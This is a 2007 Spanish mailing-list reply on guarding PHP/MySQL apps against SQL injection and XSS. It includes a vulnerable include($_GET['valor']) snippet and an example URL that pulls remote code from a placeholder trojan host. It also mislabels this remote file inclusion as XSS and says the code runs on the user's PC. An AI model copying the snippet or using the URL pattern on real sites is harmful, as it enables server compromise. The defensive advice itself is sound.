Evitar sql injection y xss
Rodrigo Fuentealba
darkprox en gmail.com
Jue Sep 20 15:58:43 CLT 2007
El 20/09/07, Raul Perez <raperez en cwpanama.net> escribió:
> Salud a todos
>
> Tengo mysql 5 y phpp 5 en un servidor con centos
> La pregunta es que codigo han implementado ustedes para
> asegurar sus aplicaciones en php para evitar injection de sql y xss
Para prevenir XSS, simplemente nunca hagas algo como esto:
<?php
include($_GET['valor']);
?>
Porque con eso yo podría poner una URL como:
http://www.victima.com/index.php?valor=http://www.troyano.com/troyano.txt
Y el código que tenga en troyano.txt se va a ejecutar en tu PC, lo quieras o no.
Una manera de impedir algo así es, en PHP 5, poner lo siguiente en tu
archivo php.ini
allow_url_include = Off
> Intente con mysql real escape string pero no se por que no me funciona
>
> Puedo desarrollar una funcion pero me da temor de que deje algun ueco de
> seguridad
Para prevenir inyecciones SQL, no uses tus propias funciones. Mira
ADOdb (http://adodb.sourceforge.net) y Propel
(http://propel.phpdb.org) que son dos programas que puedes usar dentro
de tus programas para manejar tus bases de datos, que evitan las
inyecciones de código SQL.
A pesar de ser más difícil, a mí me gustó más Propel que ADOdb.
--
Rodrigo Fuentealba Cartes
Desarrollador de Sistemas - Consultor UNIX - Database Administrator
Más información sobre la lista de distribución Linux